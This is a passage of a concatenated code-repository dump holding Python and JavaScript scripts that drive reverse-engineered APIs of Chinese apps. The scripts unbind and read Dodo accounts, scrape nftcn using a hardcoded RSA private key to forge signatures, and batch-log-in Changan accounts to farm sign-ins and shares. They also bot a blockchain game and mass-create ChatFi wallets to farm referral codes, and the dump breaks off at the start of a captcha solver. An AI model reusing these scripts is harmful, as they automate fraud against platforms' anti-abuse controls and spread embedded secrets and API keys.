1))+',"sign":""}'+f"&apikey=xD7nN1kuFwI&clientBuild=405000010&clientTime={custom_time(tt)}&clientType=2&clientVersion=4.5.0.10&marketChannel=official&productId=2×tamp={tt}&token={token}&uid={uid}&version=1.0") 66 | res = http.post('https://apis.imdodo.com/account/update', data=data, headers=getHeaders()).json() 67 | print("update", res["data"]["nickName"], res["data"]["avatarUrl"]) 68 | 69 | 70 | def ubind(token, uid): 71 | r"""解除bilibili绑定""" 72 | tt = int(time.time()*1000) 73 | data = toData(f"apikey=xD7nN1kuFwI&clientBuild=405000010&clientTime={custom_time(tt)}&clientType=2&clientVersion=4.5.0.10&marketChannel=official&productId=2×tamp={tt}&token={token}&uid={uid}&version=1.0") 74 | res = http.post("https://apis.imdodo.com/account/unbindBilibili", data=data, headers=getHeaders()).json() 75 | print("ubind", res["message"], res["status"]) 76 | return res 77 | 78 | 79 | def getUserInfoByToken(token, uid): 80 | r"""获取账户信息""" 81 | tt = int(time.time()*1000) 82 | data = toData(f"apikey=xD7nN1kuFwI&clientBuild=405000010&clientTime={custom_time(tt)}&clientType=2&clientVersion=4.5.0.10&marketChannel=official&productId=2×tamp={tt}&token={token}&uid={uid}&version=1.0") 83 | res = http.post("https://apis.imdodo.com/account/getUserInfoByToken", data=data, headers=getHeaders()).json() 84 | nickName = res["data"]["accountInfo"]["nickName"] 85 | mobile = res["data"]["accountInfo"]["mobile"] 86 | print("getUserInfoByToken", nickName, mobile, token, uid) 87 | return res 88 | 89 | 90 | def getMqttApplyToken(token, uid): 91 | r"""获取mqttToken用于后续wss连接获取聊天消息""" 92 | tt = int(time.time()*1000) 93 | data = toData(f"apikey=xD7nN1kuFwI&clientBuild=405000010&clientTime={custom_time(tt)}&clientType=2&clientVersion=4.5.0.10&marketChannel=official&productId=2×tamp={tt}&token={token}&uid={uid}&version=1.0") 94 | res = http.post("https://apis.imdodo.com/api/getMqttApplyToken", data=data, headers=getHeaders()).json() 95 | Token = res["data"]["token"] 96 | print("getMqttApplyToken", Token, uid) 97 | return res 98 | 99 | 100 | def joinLand(token, uid, qunnum): 101 | r"""加入群聊""" 102 | tt = int(time.time()*1000) 103 | data = toData(f"apikey=xD7nN1kuFwI&clientBuild=405000010&clientTime={custom_time(tt)}&clientType=2&clientVersion=4.5.0.10&islandId={qunnum}&marketChannel=official&productId=2×tamp={tt}&token={token}&uid={uid}&version=1.0") 104 | res = http.post(f"https://apis.imdodo.com/island/v4/islands/{qunnum}/join", data=data, headers=getHeaders()).json() 105 | print(res) 106 | -------------------------------------------------------------------------------- /nftcn/公告.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import base64 3 | import hashlib 4 | import os 5 | import random 6 | import threading 7 | import time 8 | import pandas as pd 9 | import requests as http 10 | from Crypto.Hash import SHA256 11 | from Crypto.PublicKey import RSA 12 | from Crypto.Signature import pkcs1_15 13 | 14 | DIRNAME = os.path.dirname(__file__) 15 | 16 | 17 | PRIVATE_KEY = """-----BEGIN PRIVATE KEY----- 18 | MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCgeDeLV31/6mXa 19 | iBY2aFjwyomZbfcJ7x1cjGY6wenpta9vJ3z1vTbPxDoaz3wFMzwPG6Grl2eYIUjv 20 | 4bvr3O6+//e0yOul7owzftx9vXIBS375nejn/XeR0HR0AnRRsuL6UKrmg7V/TmUS 21 | +e3fje7DmVo1AvoHSpO/o+SZemXlBExxYhLwXyDfW3Adv+dmZ7ybjObrnpwTS5qq 22 | 1KNhlcDlbu3YpmD5igVR9Bez/jjqriM0MIeO3G0I4NC2lBr+QHsOvCi8f2n24vsR 23 | LsFQAm/+AUJNAyMSB0PUM3wwbTd+grUNlQXZtd1ByhuJZyWjpslfU4z6vy12UQaB 24 | 2imDuQ3pAgMBAAECggEAATKEb5S6if7MvcGwML28lCdeuXdZlYhkNrGRfbS+sxC4 25 | +2JXC1pbE1fKezK7ISrNsuso3KfnjPoKmkeb6FmgqmoshfvNzlImV6gFqyaDuEDA 26 | 9MnZ2AlLIBpnFAqEpatpCCcb71ZiP03tcSPOQ5HCi1EUnDqmdPF4gsCNTxvbsMbB 27 | aN3PPn6j7X8Tqi70d1dIAfnd/Ds9TtMSb1T7NWt8iG2Zpv4WGMNQgzMH1NRojsG9 28 | eZ08eWdb/JEcN7ONLSie3bIpas25f+Qfb5AXFDMvK46Fx1JD+Ko5grpCOGlMtbEd 29 | FNVlBLwFMIa7u9i/pcbXjRo5GqfrILdfi2/KBuvldQKBgQDNtmr29o6Bk7QRGr9v 30 | n8vurDcTOh+hisFuaoaHDCF/dTgf3jWw4Hpr/GAnTbAnVLMHfmK00F4KjL4OQi5t 31 | NfLGf4o4uXM5fobQTgDwJeMM0mu8P8c+gwwu1c88H+PdDitYfel/BPjMsBzS6M33 32 | q13dXqW60IGGditzq4Cm40YRRwKBgQDHsnloQAbYz5Pqp5XakNGLUEBiCdpP1UxD 33 | ExCTfFqgw2I25Rzg3SondkZxQg6FMltQZmFoqJfVLIKtFs74Rg3SwfYyhEg8ME/0 34 | ey6HMlxx9t6j+VE0K2jtwULFu/peoaT1+r3tX3NJ3qyfwEfGj9k9s1EM3L+ZDor/ 35 | 1BSvzPz/TwKBgQDNmK+3PByZbOHe5njGO1M6q2wwDztl3KQOkvD5MCqalLEPSKso 36 | qHIyUv5WydJwvLphlvNX+5jBuoCJB6QXCoAl23ptzwtWPxrGPe+6FGOkgPmkH6om 37 | 1BrtBEwmr0ixumOgAdfIV1PCX5GvSXXxPpiFkv7Yg2Ow25H5/UKLiUKSKQKBgEuZ 38 | 8sKX8r+kHmCo31+mkd4HHMjA6ChvHPcLwavEWV8heQ5FQOCUekAEU/jOxEaC4PUY 39 | PWps4UZwGmzDBMoTY2pVygon8FzxAWQSOnQuibcPegxj9+0jPg88qjXHy6qF0bja 40 | G4tBJplhtsKn/cRbcygbueR/sf2U9uSRet9vYJybAoGAU0bN2ime2mkVEbejeZPV 41 | qEsLp5jhgLtNkVzUm0wF5e3JFosc17mtbHr/cgWBdlphUmhJdGWR/pbLDXcsn8fD 42 | 8fE4evlDZ7jPG5G7kKYIOeXrDiikWDPpjvSZaEVLJKXI/h8xKx+o8D9BDcHwRfCj 43 | fs0WrozttFXZ4/zl06+R02o= 44 | -----END PRIVATE KEY-----""" 45 | 46 | RSA_KEY = RSA.import_key(PRIVATE_KEY) 47 | 48 | 49 | def ec(func): 50 | def warp(*args): 51 | try: 52 | return func(*args) 53 | except BaseException: 54 | return warp(*args) 55 | return warp 56 | 57 | 58 | def md5(msg): 59 | return hashlib.md5(msg.encode()).hexdigest().upper() 60 | 61 | 62 | def sha256withrsa(data): 63 | h = SHA256.new(data.encode()) 64 | signature = pkcs1_15.new(RSA_KEY).sign(h) 65 | return base64.b64encode(signature).decode() 66 | 67 | 68 | def rand_name(code_len=8): 69 | a = '0123456789abcdefghijklmnopqrstuvwxyz' 70 | b = random.choices(a, k=code_len) 71 | c = "".join(_ for _ in b) 72 | return c 73 | 74 | 75 | def random09(lin): 76 | returnStr = '' 77 | for _ in range(lin): 78 | returnStr += str(random.randint(0, 9)) 79 | return returnStr 80 | 81 | 82 | def getHeaders(tt, nonce, sign, secr, token=""): 83 | headers = { 84 | "Authorization": token, 85 | "nftcnApiTimestamp": tt, 86 | "nftcnApiNonce": nonce, 87 | "nftcnApiSignature": sign, 88 | "nftcnApiAppId": "nftcn-web-h5", 89 | "nftcnApiAppSecret": secr, 90 | "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91 | } 92 | return headers 93 | 94 | 95 | def getList(page): 96 | nonce = random09(21) 97 | secr = md5("nftcn-web-h5"+nonce) 98 | tt = str(int(time.time()*1000)) 99 | sign = sha256withrsa(f"nftcnApiAppId=nftcn-web-h5&nftcnApiAppSecret={secr}&nftcnApiNonce={nonce}&nftcnApiTimestamp={tt}&pageNum={page}&pageSize=10") 100 | headers = getHeaders(tt, nonce, sign, secr, "") 101 | data = { 102 | "pageNum": page, 103 | "pageSize": "10" 104 | } 105 | res = http.post("https://api-pro.nftcn.com.cn/nms/dubbo/hongyan/appApi/article/list", headers=headers, json=data).json() 106 | for i in res["result"]["list"]: 107 | print(i["id"], i["title"]) 108 | id_list.append(i["id"]) 109 | title_list.append(i["title"]) 110 | subTitle_list.append(i["subTitle"].replace("\n", " ")) 111 | createdAt_list.append(i["createdAt"]) 112 | 113 | 114 | id_list = [] 115 | title_list = [] 116 | subTitle_list = [] 117 | createdAt_list = [] 118 | # 获取公告 119 | for i in range(1, 10): 120 | getList(i) 121 | dataframe = pd.DataFrame({'公告ID': id_list, '发布时间': createdAt_list, '标题': title_list, '内容': subTitle_list}) 122 | dataframe.to_csv("./nftcn/公告.csv") 123 | -------------------------------------------------------------------------------- /长安汽车/index1.js: -------------------------------------------------------------------------------- 1 | const tools = require("./tools") 2 | 3 | const phones = [ 4 | ["账号", "密码"], 5 | ["账号", "密码"], 6 | ] 7 | 8 | async function main() { 9 | var tokens = [] 10 | for (i in phones) { 11 | token = await login(phones[i][0], phones[i][1]) 12 | if (token != null){ 13 | tokens.push(token) 14 | } 15 | } 16 | console.log(tokens) 17 | 18 | for (i in tokens) { 19 | await tools.sleep(2000) 20 | await usersign(tokens[i]) 21 | for (let ii = 0; ii < 6; ii++) { 22 | await tools.sleep(2000) 23 | await share(tokens[i]) 24 | } 25 | } 26 | } 27 | 28 | function md5(message) { 29 | return tools.md5(message).toUpperCase() 30 | } 31 | 32 | async function login(phone, pwd) { 33 | var uuid = tools.uuid() 34 | var tt = new Date().getTime().toString() 35 | var sign = 'WDNH' + md5("4.2.9") + 'SEOB' + md5("1") + 'WEBV' + md5("1.0") + 'ZXOYX' + md5(uuid) + 'OHJHQ' + md5(tt) + 'BGJM' 36 | var url = "https://scrm.changan.com.cn/app-m/prod-api/auth/cac/appLogin" 37 | var data = { 38 | "picKey": "null", 39 | "code": "null", 40 | "a": "1.0", 41 | "b": "1", 42 | "c": "4.2.9", 43 | "d": tt, 44 | "e": uuid, 45 | "f": md5(sign), 46 | "id": "9999999723755" + tools.random(30, 36), 47 | "smsCode": "null", 48 | "pageSize": "null", 49 | "type": "0", 50 | "pageNum": "null", 51 | "picCode": "null", 52 | "labelList": "null", 53 | "biz": "0", 54 | "password": pwd, 55 | "csrfToken": "null", 56 | "registrationId": "2c8735c5a6f753229aec45789dcd3a1f4", 57 | "tel": "null", 58 | "modulus": "null", 59 | "username": phone 60 | } 61 | var headers = { 62 | "authorization": "", 63 | "user-agent": "okhttp/4.9.1" 64 | } 65 | var options = { 66 | uri: url, 67 | method: "POST", 68 | json: true, 69 | body: data, 70 | headers: headers 71 | } 72 | try { 73 | var res = await tools.http(options) 74 | if (res.code == 200){ 75 | console.log(phone, "登陆成功") 76 | return res.data.access_token 77 | }else{ 78 | console.log(phone,res.msg) 79 | if(res.msg == "内部服务器错误"){ 80 | await tools.sleep(1000) 81 | return await login(phone, pwd) 82 | } 83 | return null 84 | } 85 | } catch (e) { 86 | await tools.sleep(1000) 87 | return await login(phone, pwd) 88 | } 89 | } 90 | 91 | async function share(auth) { 92 | var uuid = tools.uuid() 93 | var tt = new Date().getTime().toString() 94 | var sign = 'WDNH' + md5("4.2.9") + 'SEOB' + md5("1") + 'WEBV' + md5("1.0") + 'ZXOYX' + md5(uuid) + 'OHJHQ' + md5(tt) + 'BGJM' 95 | var url = "https://scrm.changan.com.cn/app-m/prod-api/cms/article/app/share" 96 | var data = { 97 | "a": "1.0", 98 | "b": "1", 99 | "c": "4.2.9", 100 | "d": tt, 101 | "e": uuid, 102 | "f": md5(sign), 103 | "id": "9999999723755" + tools.random(30, 36) 104 | } 105 | var headers = { 106 | "authorization": auth, 107 | "user-agent": "okhttp/4.9.1" 108 | } 109 | var options = { 110 | uri: url, 111 | method: "POST", 112 | json: true, 113 | body: data, 114 | headers: headers 115 | } 116 | try { 117 | var res = await tools.http(options) 118 | console.log(JSON.stringify(res)) 119 | } catch (e) { 120 | return await share(auth) 121 | } 122 | } 123 | 124 | async function usersign(auth) { 125 | var uuid = tools.uuid() 126 | var tt = new Date().getTime().toString() 127 | var sign = 'WDNH' + md5("4.2.9") + 'SEOB' + md5("1") + 'WEBV' + md5("1.0") + 'ZXOYX' + md5(uuid) + 'OHJHQ' + md5(tt) + 'BGJM' 128 | var url = "https://scrm.changan.com.cn/app-m/prod-api/scrm/marketing/signUsersign" 129 | var data = { 130 | "a": "1.0", 131 | "b": "1", 132 | "c": "4.2.9", 133 | "d": tt, 134 | "e": uuid, 135 | "f": md5(sign), 136 | } 137 | var headers = { 138 | authorization: auth, 139 | "user-agent": "okhttp/4.9.1" 140 | } 141 | var options = { 142 | uri: url, 143 | method: "POST", 144 | body: data, 145 | json: true, 146 | headers: headers 147 | } 148 | try{ 149 | var res = await tools.http(options) 150 | console.log(JSON.stringify(res)) 151 | } catch (e) { 152 | return await usersign(auth) 153 | } 154 | } 155 | 156 | module.exports = main -------------------------------------------------------------------------------- /火兔/main.py: -------------------------------------------------------------------------------- 1 | import time 2 | import execjs 3 | import threading 4 | import requests 5 | import json 6 | 7 | 8 | http = requests.Session() 9 | service_url, key = "", "" 10 | data_update_KeyService_url = {"appid": "wx74d53a341c162bca", "data": {"qbase_api_name": "tcbapi_get_service_info", "qbase_req": "{\"client_random\":\"0.7488788853398656_1690965169229\"}", "qbase_options": {"identityless": True, "resourceAppid": "wx74d53a341c162bca", "resourceEnv": "langlige-5gatr23qb88836bd", "config": {"database": {"realtime": {"maxReconnect": 5, "reconnectInterval": 5000, "totalConnectionTimeout": None}}}, "appid": "wx74d53a341c162bca", "env": "langlige-5gatr23qb88836bd"}, "qbase_meta": {"session_id": "1690965169233", "sdk_version": "wx-web-sdk/1.3.0 (1634884237000)", "filter_user_info": False}, "cli_req_id": "1690965169707_0.5209914573389878"}} 11 | 12 | # 初始化加密/解密方法 13 | js = execjs.compile(open("./火兔/index.js").read()) 14 | 15 | 16 | def start_update_server(): 17 | r"""更新一次 service_url,key""" 18 | global service_url, key 19 | response = http.post("https://servicewechat.com/wxa-qbase/jsoperatewxdata", json=data_update_KeyService_url).json() 20 | res = json.loads(response["data"]) 21 | service_url, key = res["service_url"], res["key"] 22 | print("update_server", service_url, key) 23 | 24 | 25 | def domain(data): 26 | r"""发送""" 27 | headers = { 28 | "x-wx-compression": "snappy", 29 | "x-wx-encryption-timestamp": str(int(time.time()*1000)), 30 | "x-wx-encryption-version": "2", 31 | "x-wx-lib-build-ts": "1634884237219", 32 | "x-wx-request-content-encoding": "JSON", 33 | "x-wx-response-content-accept-encoding": "PB, JSON", 34 | "x-wx-user-timeout": "30000", 35 | } 36 | res = http.post(service_url, bytes.fromhex(js.call("encodeData", key, data)), headers=headers, stream=True).content 37 | res_json = json.loads(js.call("decodeData", key, res.hex())) 38 | return res_json 39 | 40 | 41 | def getList(seriesId): 42 | r"""获取列表""" 43 | result = [] 44 | res = domain('{"method":"GET","header":[{"key":"x-wx-exclude-credentials","value":"unionid, cloudbase-access-token, openid"},{"key":"x-wx-region","value":"ap-shanghai"},{"key":"x-wx-gateway-id","value":"box-2gsck1rc0508476d"},{"key":"host","value":"mi-2.huotu.art"},{"key":"accept-language","value":"zh-CN"},{"key":"app-token","value":"s18d3Qng5iarqQKwKk/24V0CR+VuiaTP62l4Y58KdjY="},{"key":"trans-id","value":"3d881d36bb9e41f88fe341fd525187e2"},{"key":"x-cloudbase-phone","value":"18888888888"},{"key":"app-name","value":"m"},{"key":"content-type","value":"application/json;charset=UTF-8"},{"key":"x-wx-env","value":"langlige-5gatr23qb88836bd"},{"key":"x-wx-call-id","value":"my_call_id"},{"key":"x-wx-resource-appid","value":"wx74d53a341c162bca"},{"key":"x-wx-container-path","value":"/front/works/page?page=1&pageSize=2&sort=1&seriesId='+str(seriesId)+'&status=1&"}],"call_id":"my_call_id"}') 45 | print(res) 46 | for i in res["data"]["list"]: 47 | result.append([i["worksStatus"], i["priceCny"], i["worksId"], i["worksNo"]]) 48 | return result 49 | 50 | 51 | def getList2(seriesId): 52 | r"""获取列表2""" 53 | tt = str(int(time.time()*1000)) 54 | data = {"appid": "wx74d53a341c162bca", "data": {"qbase_api_name": "tcbapi_call_container", "qbase_req": "{\"method\":\"GET\",\"headers\":[{\"k\":\"X-WX-EXCLUDE-CREDENTIALS\",\"v\":\"unionid, cloudbase-access-token, openid\"},{\"k\":\"X-WX-REGION\",\"v\":\"ap-shanghai\"},{\"k\":\"X-WX-GATEWAY-ID\",\"v\":\"box-2gsck1rc0508476d\"},{\"k\":\"HOST\",\"v\":\"mi-2.huotu.art\"},{\"k\":\"Accept-Language\",\"v\":\"zh-CN\"},{\"k\":\"app-token\",\"v\":\"s18d3Qng5iarqQKwKk/24V0CR+VuiaTP62l4Y58KdjY=\"},{\"k\":\"trans-id\",\"v\":\"32e90775fe2447c28153aa980e76d350\"},{\"k\":\"x-cloudbase-phone\",\"v\":\"18888888888\"},{\"k\":\"app-name\",\"v\":\"m\"},{\"k\":\"content-type\",\"v\":\"application/json;charset=UTF-8\"},{\"k\":\"X-WX-ENV\",\"v\":\"langlige-5gatr23qb88836bd\"},{\"k\":\"X-WX-CONTAINER-PATH\",\"v\":\"/front/works/page?page=1&pageSize=2&sort=1&seriesId="+str(seriesId)+"&status=1&\"}],\"call_id\":\"5380544534895535_"+tt+"\"}", "qbase_options": {"identityless": True, "resourceAppid": "wx74d53a341c162bca", "resourceEnv": "langlige-5gatr23qb88836bd", "config": {"database": {"realtime": {"maxReconnect": 5, "reconnectInterval": 5000, "totalConnectionTimeout": None}}}, "appid": "wx74d53a341c162bca", "env": "langlige-5gatr23qb88836bd"}, "qbase_meta": {"session_id": tt, "sdk_version": "wx-web-sdk/1.3.0 (1634884237000)", "filter_user_info": False}, "cli_req_id": "5380544534895535_"+tt}} 55 | result = [] 56 | response = http.post("https://servicewechat.com/wxa-qbase/jsoperatewxdata", json=data, timeout=5) 57 | print(response.text) 58 | res = json.loads(json.loads(response.json()["data"])["data"]) 59 | for i in res["data"]["list"]: 60 | result.append([i["worksStatus"], i["priceCny"], i["worksId"], i["worksNo"]]) 61 | return result 62 | 63 | 64 | start_update_server() 65 | getList2(10141) 66 | -------------------------------------------------------------------------------- /塞波尔/打怪.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | import json 3 | import random 4 | import requests 5 | import time 6 | import threading 7 | import execjs 8 | 9 | js = execjs.compile(open("./塞波尔/index.js").read()) 10 | 11 | http = requests.Session() 12 | http.headers.update({ 13 | "Accept-Encoding": "identity", 14 | "encrypt": "1", 15 | "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 10; Mi 10 Pro MIUI/20.6.18)" 16 | }) 17 | 18 | 19 | def notice(title, msg, group=None, level="active"): 20 | data = {"level": level} 21 | if group is not None: 22 | data["group"] = group 23 | http.get(f"https://api.day.app/x/{title}/{msg}", params=data) 24 | 25 | 26 | def domain(data): 27 | tt = str(int(time.time()*1000)) 28 | data = js.call("e.encrypt", '{"_common":{"did":"3JMT6PSL3ODVT6FH1KI5LDSXO9N0CIME","imei":"GNGL5N8UPWX5AGOAGKEORF26EQ5ZGB6E","mac":"NIYOX6MIIBX1KQ813XFXREZAB87DVF7P","net":1,"plat":1,"vos":"11","vapp":"1.0.0","vcode":1,"brand":"xiaomi","factory":"xiaomi","abid":"","uid":"","token":"'+token+'","time":"'+tt+'"},"params":'+data+'}') 29 | return data 30 | 31 | 32 | def pkstart(): 33 | data = domain('{"storyId":'+str(step1)+',"stageId":'+str(step2)+',"isForcibly":false}') 34 | res = http.post("https://sapi.yygamefi.com/api/stage/stage-pk-start", data) 35 | res = json.loads(js.call("e.decrypt", res.text)) 36 | # {"code":0,"msg":"OK","data":{"pk":{"pkId":"b1ff4353-7b98-43db-966a-93220219ed48","storyId":1,"stageId":7,"roundsLimited":20,"totalMonsterHp":725,"totalRoleHp":178,"status":1,"pkInfo":[{"roundId":1,"type":1,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":115,"criticalDamage":0,"totalDamage":115},"roleHp":178,"monsterHp":610},{"roundId":1,"type":2,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":39,"criticalDamage":0,"totalDamage":39},"roleHp":178,"monsterHp":571},{"roundId":1,"type":3,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":36,"criticalDamage":0,"totalDamage":36},"roleHp":142,"monsterHp":571},{"roundId":2,"type":1,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":114,"criticalDamage":0,"totalDamage":114},"roleHp":142,"monsterHp":457},{"roundId":2,"type":2,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":39,"criticalDamage":0,"totalDamage":39},"roleHp":142,"monsterHp":418},{"roundId":2,"type":3,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":37,"criticalDamage":0,"totalDamage":37},"roleHp":105,"monsterHp":418},{"roundId":3,"type":1,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":118,"criticalDamage":0,"totalDamage":118},"roleHp":105,"monsterHp":300},{"roundId":3,"type":2,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":39,"criticalDamage":0,"totalDamage":39},"roleHp":105,"monsterHp":261},{"roundId":3,"type":3,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":34,"criticalDamage":0,"totalDamage":34},"roleHp":71,"monsterHp":261},{"roundId":4,"type":1,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":118,"criticalDamage":0,"totalDamage":118},"roleHp":71,"monsterHp":143},{"roundId":4,"type":2,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":39,"criticalDamage":0,"totalDamage":39},"roleHp":71,"monsterHp":104},{"roundId":4,"type":3,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":34,"criticalDamage":0,"totalDamage":34},"roleHp":37,"monsterHp":104},{"roundId":5,"type":1,"stageId":7,"damage":{"ADDamage":0,"APDamage":0,"normalDamage":115,"criticalDamage":0,"totalDamage":115},"roleHp":37,"monsterHp":0}],"pkTimestamp":1693663796}}} 37 | if res["code"] != 0: 38 | print(res["msg"]) 39 | return 40 | return res["data"]["pk"]["pkId"] 41 | 42 | 43 | def pkend(pkid): 44 | data = domain('{"pkId":"'+pkid+'"}') 45 | res = http.post("https://sapi.yygamefi.com/api/stage/stage-pk-end", data) 46 | res = json.loads(js.call("e.decrypt", res.text)) 47 | print(res) 48 | # {"code":0,"msg":"OK","data":{"Annex":[{"isTrans":false,"transFromID":0,"name":"","type":3,"entityId":11,"level":0,"pkgNum":1,"image":"zhuangbei_5","fineness":1,"summary":"","props":null}],"level":7,"experience":838,"nextExperience":3000,"addExperience":166,"stageId":7,"myRankingInfo":null}} 49 | 50 | 51 | def roleinfo(): 52 | data = domain('{}') 53 | res = http.post("https://sapi.yygamefi.com/api/user/role-info", data) 54 | res = json.loads(js.call("e.decrypt", res.text)) 55 | print(res) 56 | 57 | 58 | def login(mobile, pwd): 59 | data = domain('{"mobile":"'+mobile+'","password":"'+pwd+'"}') 60 | res = http.post("https://sapi.yygamefi.com/api/basic/login", data) 61 | res = json.loads(js.call("e.decrypt", res.text)) 62 | print(res) 63 | return res["data"]["token"] 64 | 65 | 66 | def main(): 67 | roleinfo() 68 | for _ in range(3): 69 | pkid = pkstart() 70 | if pkid is None: 71 | return 72 | # time.sleep(random.randint(29, 35)) 73 | pkend(pkid) 74 | 75 | 76 | # 第1章节 第7关 77 | step1, step2 = 1, 7 78 | token = "" 79 | token = login("", "") 80 | 81 | main() 82 | -------------------------------------------------------------------------------- /chatfi/signup.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import requests 4 | import httpx 5 | from eth_account.messages import encode_defunct 6 | from web3 import HTTPProvider, Web3 7 | from uuid import uuid4 8 | 9 | w3 = Web3(HTTPProvider("https://arb1.arbitrum.io/rpc")) 10 | 11 | 12 | def randStr(code_len=16): 13 | a = 'abcdef0123456789' 14 | b = random.choices(a, k=code_len) 15 | c = "".join(_ for _ in b) 16 | return c 17 | 18 | 19 | def getHeaders(token=""): 20 | headers = { 21 | "user-agent": "Chatfi android 1.0.1.9", 22 | "authorization": "Bearer "+token, 23 | "x-instance-id": randStr(32) 24 | } 25 | return headers 26 | 27 | 28 | def custom_time(timestamp): 29 | time_local = time.localtime(timestamp) 30 | dt = time.strftime("%Y-%m-%d %H:%M:%S %z", time_local) 31 | return dt 32 | 33 | 34 | def ethcall(data, fromadd, toadd, id): 35 | x = {"id": id, "jsonrpc": "2.0", "method": "eth_call", "params": [{"data": data, "from": fromadd, "to": toadd}, "latest"]} 36 | print(http.post("https://arb1.arbitrum.io/rpc", json=x).json()) 37 | 38 | 39 | def ethcall_all(account): 40 | ethcall("0x06fdde03", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 0) 41 | ethcall("0x06fdde03", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 1) 42 | ethcall("0x95d89b41", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 2) 43 | ethcall("0x95d89b41", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 3) 44 | ethcall("0x313ce567", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 4) 45 | ethcall("0x313ce567", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 5) 46 | 47 | ethcall("0x06fdde03", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 6) 48 | ethcall("0x06fdde03", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 7) 49 | ethcall("0x95d89b41", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 8) 50 | ethcall("0x95d89b41", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 9) 51 | ethcall("0x313ce567", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 10) 52 | ethcall("0x313ce567", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 11) 53 | 54 | ethcall("0x06fdde03", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 12) 55 | ethcall("0x06fdde03", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 13) 56 | ethcall("0x95d89b41", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 14) 57 | ethcall("0x95d89b41", account, "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8", 15) 58 | ethcall("0x313ce567", account, "0x6c567C9d4522A35cc8a5e5cA29A6BFdb2beA8628", 16) 59 | 60 | 61 | def verifyCustomToken(token): 62 | '''return newToken,err => None''' 63 | request_ref = "https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyCustomToken?key=AIzaSyDupsMLomorwit8o1dTLd7-vSyqoNHqgBY" 64 | headers = {"content-type": "application/json; charset=UTF-8"} 65 | data = {"returnSecureToken": True, "token": token} 66 | try: 67 | request_object = http.post(request_ref, headers=headers, json=data).json() 68 | return request_object["idToken"] 69 | except: 70 | return None 71 | 72 | 73 | def createAccount(): 74 | account = w3.eth.account.create() 75 | return account.address, account._private_key.hex() 76 | 77 | 78 | def signData(account, key): 79 | dateTime = custom_time(int(time.time())+60) 80 | aa = f'By signing this message, you allow us to use your wallet to authorize the login.\nSignature expiry: <{dateTime}>' 81 | message = encode_defunct(text=aa) 82 | sign = w3.to_hex(w3.eth.account.sign_message(message, private_key=key)["signature"]) 83 | data = {"expiry": dateTime, "signature": sign, "wallet": account} 84 | return data 85 | 86 | 87 | def signin(publicKey, privateKey): 88 | data = signData(publicKey, privateKey) 89 | res = http.post("https://arbitrum.api.chatfi.ai/v1/sign", json=data, headers=getHeaders()) 90 | print(res.status_code, res.json()["new_profile"]) 91 | return res.json()["token"] 92 | 93 | 94 | def bindInv(token): 95 | data = {"code": inviteCode} 96 | res = http.post("https://arbitrum.api.chatfi.ai/v1/bind_referral", json=data, headers=getHeaders(token)).text 97 | if res == "{}": 98 | print("bindInv成功") 99 | 100 | 101 | def sendMes(token, message="hello"): 102 | data = {"message": message} 103 | res = http.post(f"https://arbitrum.api.chatfi.ai/v1/conversation/{uuid4()}/completion", json=data, headers=getHeaders(token)).text 104 | print(res) 105 | 106 | 107 | def main(): 108 | publicKey, privateKey = createAccount() 109 | token = signin(publicKey, privateKey) 110 | token = verifyCustomToken(token) 111 | if token is None: 112 | print("verifyCustomToken 失效") 113 | return 114 | bindInv(token) 115 | for _ in range(random.randint(3, 5)): 116 | sendMes(token) 117 | sendMes(token, "why so serious") 118 | # open(f"./chatfi/{inviteCode}.txt", "a").write(f"{publicKey}|{privateKey}|{token}\n") 119 | 120 | 121 | inviteCode = "" 122 | 123 | http = httpx.Client(http2=True, verify=False) 124 | main() 125 | http.close() 126 | -------------------------------------------------------------------------------- /数美验证/数美_文字点选.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | import os 4 | import random 5 | import time 6 | from io import BytesIO 7 | 8 | import requests 9 | from Crypto.Cipher import DES 10 | from ddddocr import DdddOcr 11 | from PIL import Image 12 | from flask import Flask, request 13 | 14 | app = Flask(__name__) 15 | 16 | 17 | class newDES: 18 | def __init__(self, key): 19 | self.length = DES.block_size 20 | self.des = DES.new(key.encode("utf8"), DES.MODE_ECB) 21 | self.unpad = lambda date: date[0:-ord(date[-1])] 22 | 23 | def pad(self, text): 24 | count = len(text.encode('utf8')) 25 | add 